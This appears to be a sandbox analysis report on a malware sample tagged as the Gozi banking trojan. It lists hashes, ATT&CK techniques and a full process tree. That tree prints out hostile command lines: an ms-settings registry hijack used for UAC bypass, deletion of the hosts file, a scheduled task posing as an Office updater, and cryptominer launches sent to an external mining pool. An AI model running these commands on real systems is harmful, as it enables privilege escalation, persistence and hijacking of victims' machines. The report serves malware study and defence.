gozi | 93525f9c14494574b4c9d9ee7576dea13469bd661dfeefdf1f2ac9f7862ea2c8

Analysis

max time kernel
531s
max time network
533s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
19/04/2024, 04:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

MenaceImageLogger.exe
Size

12KB
MD5

01eeafb81c6626945e4374a3bfad1080
SHA1

2ab1b6b22d41b6aaa4ba5369bc38d5e1a8b83636
SHA256

93525f9c14494574b4c9d9ee7576dea13469bd661dfeefdf1f2ac9f7862ea2c8
SHA512

fb2528ef490e3735a280eab7b50c6bb3b97c8ab829895bc8e6e2e51141cb844a3fc1d94b364061418130ba277ee6fbd4b3ceb2b3842a40365c187925eef5a422
SSDEEP

192:LCgLVzUsIjEsuTIPWB8q7SJKbBJA77slYccL2hlybG8JUdtuU:LCKyEIPWB8qaqA7a5cKhoi3dtB

Score

10^/10

gozi banker isfb spyware stealer trojan

Malware Config

Extracted

Family

gozi

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000\Control Panel\International\Geo\Nation	MenaceImageLogger.exe

Executes dropped EXE 7 IoCs

pid	Process
3088	vjkehl04.exe
1492	MNRvAN1trmNCYGwGk050MX.exe
4752	MNRvAN1trmNCYGwGk050MX.exe
4728	MNRvAN1trmNCYGwGk050MX.exe
4348	MNRvAN1trmNCYGwGk050MX.exe
5064	MNRvAN1trmNCYGwGk050MX.exe
4524	MNRvAN1trmNCYGwGk050MX.exe

Loads dropped DLL 1 IoCs

pid	Process
1524	MenaceImageLogger.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

flow	ioc
29	raw.githubusercontent.com
34	discord.com
35	discord.com
54	discord.com
64	discord.com
69	discord.com
28	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
50	checkip.amazonaws.com

Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs

pid	Process
1492	MNRvAN1trmNCYGwGk050MX.exe
1492	MNRvAN1trmNCYGwGk050MX.exe
4752	MNRvAN1trmNCYGwGk050MX.exe
4752	MNRvAN1trmNCYGwGk050MX.exe
4728	MNRvAN1trmNCYGwGk050MX.exe
4728	MNRvAN1trmNCYGwGk050MX.exe
4348	MNRvAN1trmNCYGwGk050MX.exe
4348	MNRvAN1trmNCYGwGk050MX.exe
5064	MNRvAN1trmNCYGwGk050MX.exe
5064	MNRvAN1trmNCYGwGk050MX.exe
4524	MNRvAN1trmNCYGwGk050MX.exe
4524	MNRvAN1trmNCYGwGk050MX.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4212	schtasks.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000_Classes\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000_Classes\ms-settings\shell\open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\turkeyhalf028037.vbs"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000_Classes\ms-settings\shell\open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
3088	vjkehl04.exe
3088	vjkehl04.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe
1524	MenaceImageLogger.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	1524	MenaceImageLogger.exe
Token: SeDebugPrivilege	3088	vjkehl04.exe
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1524	MenaceImageLogger.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 1920	1524	MenaceImageLogger.exe	91
PID 1524 wrote to memory of 1920	1524	MenaceImageLogger.exe	91
PID 1524 wrote to memory of 1920	1524	MenaceImageLogger.exe	91
PID 1524 wrote to memory of 4672	1524	MenaceImageLogger.exe	93
PID 1524 wrote to memory of 4672	1524	MenaceImageLogger.exe	93
PID 1524 wrote to memory of 4672	1524	MenaceImageLogger.exe	93
PID 1524 wrote to memory of 4272	1524	MenaceImageLogger.exe	95
PID 1524 wrote to memory of 4272	1524	MenaceImageLogger.exe	95
PID 1524 wrote to memory of 4272	1524	MenaceImageLogger.exe	95
PID 4272 wrote to memory of 3108	4272	cmd.exe	97
PID 4272 wrote to memory of 3108	4272	cmd.exe	97
PID 4272 wrote to memory of 3108	4272	cmd.exe	97
PID 3108 wrote to memory of 5112	3108	ComputerDefaults.exe	98
PID 3108 wrote to memory of 5112	3108	ComputerDefaults.exe	98
PID 3108 wrote to memory of 5112	3108	ComputerDefaults.exe	98
PID 5112 wrote to memory of 3120	5112	wscript.exe	99
PID 5112 wrote to memory of 3120	5112	wscript.exe	99
PID 5112 wrote to memory of 3120	5112	wscript.exe	99
PID 1524 wrote to memory of 1964	1524	MenaceImageLogger.exe	101
PID 1524 wrote to memory of 1964	1524	MenaceImageLogger.exe	101
PID 1524 wrote to memory of 1964	1524	MenaceImageLogger.exe	101
PID 1964 wrote to memory of 4212	1964	cmd.exe	103
PID 1964 wrote to memory of 4212	1964	cmd.exe	103
PID 1964 wrote to memory of 4212	1964	cmd.exe	103
PID 1524 wrote to memory of 3088	1524	MenaceImageLogger.exe	104
PID 1524 wrote to memory of 3088	1524	MenaceImageLogger.exe	104
PID 3088 wrote to memory of 3520	3088	vjkehl04.exe	56
PID 3088 wrote to memory of 3520	3088	vjkehl04.exe	56
PID 3088 wrote to memory of 3520	3088	vjkehl04.exe	56
PID 3088 wrote to memory of 3520	3088	vjkehl04.exe	56
PID 3088 wrote to memory of 3520	3088	vjkehl04.exe	56
PID 3088 wrote to memory of 3520	3088	vjkehl04.exe	56
PID 3088 wrote to memory of 3520	3088	vjkehl04.exe	56
PID 3088 wrote to memory of 3520	3088	vjkehl04.exe	56
PID 3088 wrote to memory of 3520	3088	vjkehl04.exe	56
PID 3088 wrote to memory of 3520	3088	vjkehl04.exe	56
PID 3088 wrote to memory of 3520	3088	vjkehl04.exe	56
PID 3088 wrote to memory of 3520	3088	vjkehl04.exe	56
PID 3088 wrote to memory of 3520	3088	vjkehl04.exe	56
PID 1524 wrote to memory of 884	1524	MenaceImageLogger.exe	108
PID 1524 wrote to memory of 884	1524	MenaceImageLogger.exe	108
PID 1524 wrote to memory of 884	1524	MenaceImageLogger.exe	108
PID 884 wrote to memory of 1492	884	cmd.exe	110
PID 884 wrote to memory of 1492	884	cmd.exe	110
PID 1492 wrote to memory of 4752	1492	MNRvAN1trmNCYGwGk050MX.exe	111
PID 1492 wrote to memory of 4752	1492	MNRvAN1trmNCYGwGk050MX.exe	111
PID 1524 wrote to memory of 2744	1524	MenaceImageLogger.exe	112
PID 1524 wrote to memory of 2744	1524	MenaceImageLogger.exe	112
PID 1524 wrote to memory of 2744	1524	MenaceImageLogger.exe	112
PID 2744 wrote to memory of 4728	2744	cmd.exe	114
PID 2744 wrote to memory of 4728	2744	cmd.exe	114
PID 4728 wrote to memory of 4348	4728	MNRvAN1trmNCYGwGk050MX.exe	115
PID 4728 wrote to memory of 4348	4728	MNRvAN1trmNCYGwGk050MX.exe	115
PID 1524 wrote to memory of 1412	1524	MenaceImageLogger.exe	116
PID 1524 wrote to memory of 1412	1524	MenaceImageLogger.exe	116
PID 1524 wrote to memory of 1412	1524	MenaceImageLogger.exe	116
PID 1412 wrote to memory of 5064	1412	cmd.exe	118
PID 1412 wrote to memory of 5064	1412	cmd.exe	118
PID 5064 wrote to memory of 4524	5064	MNRvAN1trmNCYGwGk050MX.exe	119
PID 5064 wrote to memory of 4524	5064	MNRvAN1trmNCYGwGk050MX.exe	119

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3520
- C:\Users\Admin\AppData\Local\Temp\MenaceImageLogger.exe
  "C:\Users\Admin\AppData\Local\Temp\MenaceImageLogger.exe"
  2⤵
  - Checks computer location settings
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\turkeyhalf028037.vbs" /f
    3⤵
    - Modifies registry class
    PID:1920
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f
    3⤵
    - Modifies registry class
    PID:4672
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C computerdefaults.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      computerdefaults.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3108
    - - C:\Windows\SysWOW64\wscript.exe
        
        "wscript.exe" C:\Users\Admin\AppData\Local\Temp\turkeyhalf028037.vbs
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:5112
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
        6⤵
        
        PID:3120
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN MicrosoftOfficeUpdater_BV4vAN1trmNCYGwGk050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\BV4vAN1trmNCYGwGk050MX.exe" /RL HIGHEST /IT
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1964
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Create /SC ONLOGON /TN MicrosoftOfficeUpdater_BV4vAN1trmNCYGwGk050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\BV4vAN1trmNCYGwGk050MX.exe" /RL HIGHEST /IT
      4⤵
      Creates scheduled task(s)
      PID:4212
- - C:\Users\Admin\AppData\Local\Temp\vjkehl04.exe
    "C:\Users\Admin\AppData\Local\Temp\vjkehl04.exe" explorer.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3088
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C start /B /MIN C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe -a kawpow -o stratum+tcp://rvn.kryptex.network:7777 -u RNhgsFdkVMiDrkDDmtxKqkxKkiVR9C2t5g/LCRig
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:884
  - - C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe
      C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe -a kawpow -o stratum+tcp://rvn.kryptex.network:7777 -u RNhgsFdkVMiDrkDDmtxKqkxKkiVR9C2t5g/LCRig
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of WriteProcessMemory
      PID:1492
    - - C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe
        
        C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe -a kawpow -o stratum+tcp://rvn.kryptex.network:7777 -u RNhgsFdkVMiDrkDDmtxKqkxKkiVR9C2t5g/LCRig -RUN -reboot-times 0
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4752
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C start /B /MIN C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe -a kawpow -o stratum+tcp://rvn.kryptex.network:7777 -u RNhgsFdkVMiDrkDDmtxKqkxKkiVR9C2t5g/LCRig
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2744
  - - C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe
      C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe -a kawpow -o stratum+tcp://rvn.kryptex.network:7777 -u RNhgsFdkVMiDrkDDmtxKqkxKkiVR9C2t5g/LCRig
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of WriteProcessMemory
      PID:4728
    - - C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe
        
        C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe -a kawpow -o stratum+tcp://rvn.kryptex.network:7777 -u RNhgsFdkVMiDrkDDmtxKqkxKkiVR9C2t5g/LCRig -RUN -reboot-times 0
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4348
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C start /B /MIN C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe -a kawpow -o stratum+tcp://rvn.kryptex.network:7777 -u RNhgsFdkVMiDrkDDmtxKqkxKkiVR9C2t5g/LCRig
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1412
  - - C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe
      C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe -a kawpow -o stratum+tcp://rvn.kryptex.network:7777 -u RNhgsFdkVMiDrkDDmtxKqkxKkiVR9C2t5g/LCRig
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of WriteProcessMemory
      PID:5064
    - - C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe
        
        C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe -a kawpow -o stratum+tcp://rvn.kryptex.network:7777 -u RNhgsFdkVMiDrkDDmtxKqkxKkiVR9C2t5g/LCRig -RUN -reboot-times 0
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\MNRvAN1trmNCYGwGk050MX.exe

Filesize
11.4MB

MD5
a7400236ffab02ae5af5c9a0f61e7300

SHA1
e3a6e33cb751dd81f4f6a62405df2930e9ede400

SHA256
bb3af0c03e6b0833fa268d98e5a8b19e78fb108a830b58b2ade50c57e9fc9bed

SHA512
28bcef5cd4d01b8582a13538b893a96a1d86a07a9b91672f1602d3d5cc0806aaec00e9fa64b7852294dec3f0aa27045ba19d65869d4c4ba4bc3ce68ade8e5ebd

Download Submit
C:\Users\Admin\AppData\Local\Temp\08ff129f01d4449da48425ff46107802

Filesize
250KB

MD5
0041041ceb1ea7ff5ca1ab30e2590c2b

SHA1
2a97da8e362dd9d612866065037d33c74a1ab73d

SHA256
423280ac3fe7443e3a792b389c30821a97d371b699fbe2036b6867eefc50627f

SHA512
be822e496b18f0c302a7e9180118f2747de4d01da238236f2654ffd130b790c07a47278fa99fc85f4268040ed47cc581ae591f51857465b635bdad2284351b95

Download Submit
C:\Users\Admin\AppData\Local\Temp\Costura\40BD99E3E2E3C109881E4ECA2DEDC617\32\sqlite.interop.dll

Filesize
1.4MB

MD5
6f2fdecc48e7d72ca1eb7f17a97e59ad

SHA1
fcbc8c4403e5c8194ee69158d7e70ee7dbd4c056

SHA256
70e48ef5c14766f3601c97451b47859fddcbe7f237e1c5200cea8e7a7609d809

SHA512
fea98a3d6fff1497551dc6583dd92798dcac764070a350fd381e856105a6411c94effd4b189b7a32608ff610422b8dbd6d93393c5da99ee66d4569d45191dc8b

Download Submit
C:\Users\Admin\AppData\Local\Temp\c918fdcb00754e2686591e4d2f963eab

Filesize
8KB

MD5
cf663e022d14e6f1c8072d4252d66e0f

SHA1
97d96f02dee19d8bab1a45bacd08a76f85d5c270

SHA256
4391078a5371dd32fd77573b8fe7e7adfa230d0c7f87fabedb929deecfe4a750

SHA512
113a7d1f9e8ddb63328eb78d33c96e2b2af7b3e0cb6844f016d383d18d74c6cb901f79460e092444eb890459f45941e40c55d711b6b9071213385f5a6e1b3274

Download Submit
C:\Users\Admin\AppData\Local\Temp\d82ca40afd5c4e539694d3512605d023

Filesize
46KB

MD5
8f5942354d3809f865f9767eddf51314

SHA1
20be11c0d42fc0cef53931ea9152b55082d1a11e

SHA256
776ecf8411b1b0167bea724409ac9d3f8479973df223ecc6e60e3302b3b2b8ea

SHA512
fde8dfae8a862cf106b0cb55e02d73e4e4c0527c744c20886681245c8160287f722612a6de9d0046ed1156b1771229c8950b9ac036b39c988d75aa20b7bac218

Download Submit
C:\Users\Admin\AppData\Local\Temp\turkeyhalf028037.vbs

Filesize
171B

MD5
a34267102c21aff46aecc85598924544

SHA1
77268af47c6a4b9c6be7f7487b2c9b233d49d435

SHA256
eba7ab5c248e46dbe70470b41ebf25a378b4eff9ce632adff927ac1f95583d44

SHA512
5d320312b93b46c9051a20c82d6405a3f2c78b23adb3ab3e71aad854b65b500937de7ca2986cf79967386d689beecccf676d89afde8ecc5d5ad0cb4ae2bf38a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\vjkehl04.exe

Filesize
124KB

MD5
e898826598a138f86f2aa80c0830707a

SHA1
1e912a5671f7786cc077f83146a0484e5a78729c

SHA256
df443ccf551470b3f9f7d92faf51b3b85ae206dd08da3b6390ce9a6039b7253a

SHA512
6827068b8580822ded1fb8447bdb038d0e00633f5ef7f480a8cdeaab6928ac23022a0b7a925058e0926ce9b41a6c8c22a5692e074621b2fccdb7edd29a0d4cfb

Download Submit
C:\Users\Admin\AppData\Roaming\Gongle\a2K1O0GWZZ\LOG

Filesize
334B

MD5
7ef86645b4c903a5c86e823e5678de9b

SHA1
a76f4c868999e53fbd1dcdb2e8a17e5cc066072d

SHA256
98df8962e4f0dfbc55c22054c73ecd9f2d3b25ee6f9bc7b369d556589ceab5f4

SHA512
81b09795f25dd0d4eb7d1452b0f750afc93c12a1e6ea6c1b426f12acc5775d9a2009c582da7d30930dc499701fe9c431c0b88235c94996b5e6cf0d9b386b17d9

Download Submit
C:\Users\Admin\AppData\Roaming\Gongle\a2K1O0GWZZ\LOG.old

Filesize
293B

MD5
c5e79803ac446b16eae43516d3ec9c6b

SHA1
7b8dc0929f062ff8190f9496410f96d10d42ccbc

SHA256
5eb6d2504b84d72de226775e34f5c76271dc17ab79f1385b68d12741cbec316f

SHA512
add3359c446c7bccbca38daafab3198dd6b8ce54e7dca592e40006b9d8490283300cec4df023d8ded24b63fd595925793ced760655bef25c4ba737a363c631c2

Download Submit
C:\Users\Admin\AppData\Roaming\Gongle\a5X61Q266X\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Roaming\Gongle\a5X61Q266X\LOG

Filesize
329B

MD5
d0f7370ca4813b1648624de35939d268

SHA1
d20b59e606375770479e68b8b9ea0a11e6cad9a4

SHA256
70a6b7050272c52008901c02758595245992843e36eadcb8e69d6bb16df460a7

SHA512
8adf66d724b6945d177850a12962fb754ee2c008319ac0f4296d4b78b3b264678efd4f22779ccea16ba8296e7154b769706c28379cee64e7f1f3a63c20a97915

Download Submit
C:\Users\Admin\AppData\Roaming\Gongle\a5X61Q266X\LOG.old

Filesize
289B

MD5
473f92e58203c29d5a64ad1b42c42cff

SHA1
c67d6ad86ad2101c01ec94cdedec15b1c5b29aa5

SHA256
e7063b48cc4b8cea4ff442bcdfd1a362ca011efe0608e37705c9772f2a6c4a1c

SHA512
38af6d826e09e91d858cd8e3e8752279a4e1ebf123206a81e3dceff702206d0977e6aa4176876858ffeaa2db078d6a00f9606d8785c3538ac512243bbb862ae2

Download Submit
C:\Users\Admin\AppData\Roaming\Gongle\a5X61Q266X\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Roaming\Gongle\aWZT1MH8VY\4p84urxf.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite

Filesize
48KB

MD5
4615fb8a74bbd4d1b565b959312cc2b8

SHA1
82369b42f01563ac916e0e51a3f3ab15c4b8fb97

SHA256
a5b27e862d4d872a0c08c9971a3881d1f0a29c22be7c9c3d8656b81beb7adc19

SHA512
2d74f2af3c764a4b6b327d0773592bd2b7c02d2efc5a332cd1bce4357e2140080e3c30765f68198409f218324c8b02fa24ac7a5b96e128411b1b42a1d057e37d

Download Submit
memory/1492-227-0x0000000140000000-0x0000000141B2E000-memory.dmp

Filesize
27.2MB

Download
memory/1492-215-0x0000000140000000-0x0000000141B2E000-memory.dmp

Filesize
27.2MB

Download
memory/1492-214-0x0000000140000000-0x0000000141B2E000-memory.dmp

Filesize
27.2MB

Download
memory/1492-212-0x00007FF95D110000-0x00007FF95D112000-memory.dmp

Filesize
8KB

Download
memory/1492-213-0x00007FF95D120000-0x00007FF95D122000-memory.dmp

Filesize
8KB

Download
memory/1524-43-0x0000000005530000-0x0000000005540000-memory.dmp

Filesize
64KB

Download
memory/1524-6-0x0000000005C30000-0x00000000061D4000-memory.dmp

Filesize
5.6MB

Download
memory/1524-10-0x000000000B220000-0x000000000BE20000-memory.dmp

Filesize
12.0MB

Download
memory/1524-42-0x0000000008A50000-0x0000000008A5A000-memory.dmp

Filesize
40KB

Download
memory/1524-11-0x0000000011FB0000-0x0000000012C52000-memory.dmp

Filesize
12.6MB

Download
memory/1524-44-0x000000000B210000-0x000000000B21A000-memory.dmp

Filesize
40KB

Download
memory/1524-45-0x000000000CA30000-0x000000000CA3C000-memory.dmp

Filesize
48KB

Download
memory/1524-46-0x000000000D210000-0x000000000D218000-memory.dmp

Filesize
32KB

Download
memory/1524-39-0x0000000005530000-0x0000000005540000-memory.dmp

Filesize
64KB

Download
memory/1524-38-0x00000000744D0000-0x0000000074C80000-memory.dmp

Filesize
7.7MB

Download
memory/1524-37-0x0000000007E70000-0x0000000007E82000-memory.dmp

Filesize
72KB

Download
memory/1524-40-0x0000000008920000-0x0000000008986000-memory.dmp

Filesize
408KB

Download
memory/1524-1-0x00000000744D0000-0x0000000074C80000-memory.dmp

Filesize
7.7MB

Download
memory/1524-5-0x00000000055E0000-0x0000000005672000-memory.dmp

Filesize
584KB

Download
memory/1524-0-0x0000000000710000-0x000000000071C000-memory.dmp

Filesize
48KB

Download
memory/1524-176-0x0000000006DE0000-0x0000000006E92000-memory.dmp

Filesize
712KB

Download
memory/1524-177-0x0000000006EF0000-0x0000000006F12000-memory.dmp

Filesize
136KB

Download
memory/1524-178-0x0000000006FA0000-0x0000000007016000-memory.dmp

Filesize
472KB

Download
memory/1524-179-0x0000000006F60000-0x0000000006F7E000-memory.dmp

Filesize
120KB

Download
memory/1524-180-0x0000000007070000-0x00000000070C0000-memory.dmp

Filesize
320KB

Download
memory/1524-181-0x00000000070C0000-0x000000000712A000-memory.dmp

Filesize
424KB

Download
memory/1524-182-0x0000000007130000-0x0000000007484000-memory.dmp

Filesize
3.3MB

Download
memory/1524-183-0x0000000007490000-0x00000000074DC000-memory.dmp

Filesize
304KB

Download
memory/1524-187-0x0000000007560000-0x000000000759C000-memory.dmp

Filesize
240KB

Download
memory/1524-188-0x0000000007520000-0x0000000007541000-memory.dmp

Filesize
132KB

Download
memory/1524-4-0x0000000005450000-0x000000000545A000-memory.dmp

Filesize
40KB

Download
memory/1524-3-0x0000000005530000-0x0000000005540000-memory.dmp

Filesize
64KB

Download
memory/1524-203-0x0000000006D00000-0x0000000006D0A000-memory.dmp

Filesize
40KB

Download
memory/1524-2-0x0000000005460000-0x000000000547A000-memory.dmp

Filesize
104KB

Download
memory/1524-207-0x0000000005530000-0x0000000005540000-memory.dmp

Filesize
64KB

Download
memory/3520-28-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/3520-27-0x0000000002280000-0x0000000002281000-memory.dmp

Filesize
4KB

Download
memory/3520-26-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/3520-31-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/3520-41-0x0000000002280000-0x0000000002281000-memory.dmp

Filesize
4KB

Download
memory/3520-30-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/4348-242-0x0000000140000000-0x0000000141B2E000-memory.dmp

Filesize
27.2MB

Download
memory/4348-238-0x0000000140000000-0x0000000141B2E000-memory.dmp

Filesize
27.2MB

Download
memory/4524-258-0x0000000140000000-0x0000000141B2E000-memory.dmp

Filesize
27.2MB

Download
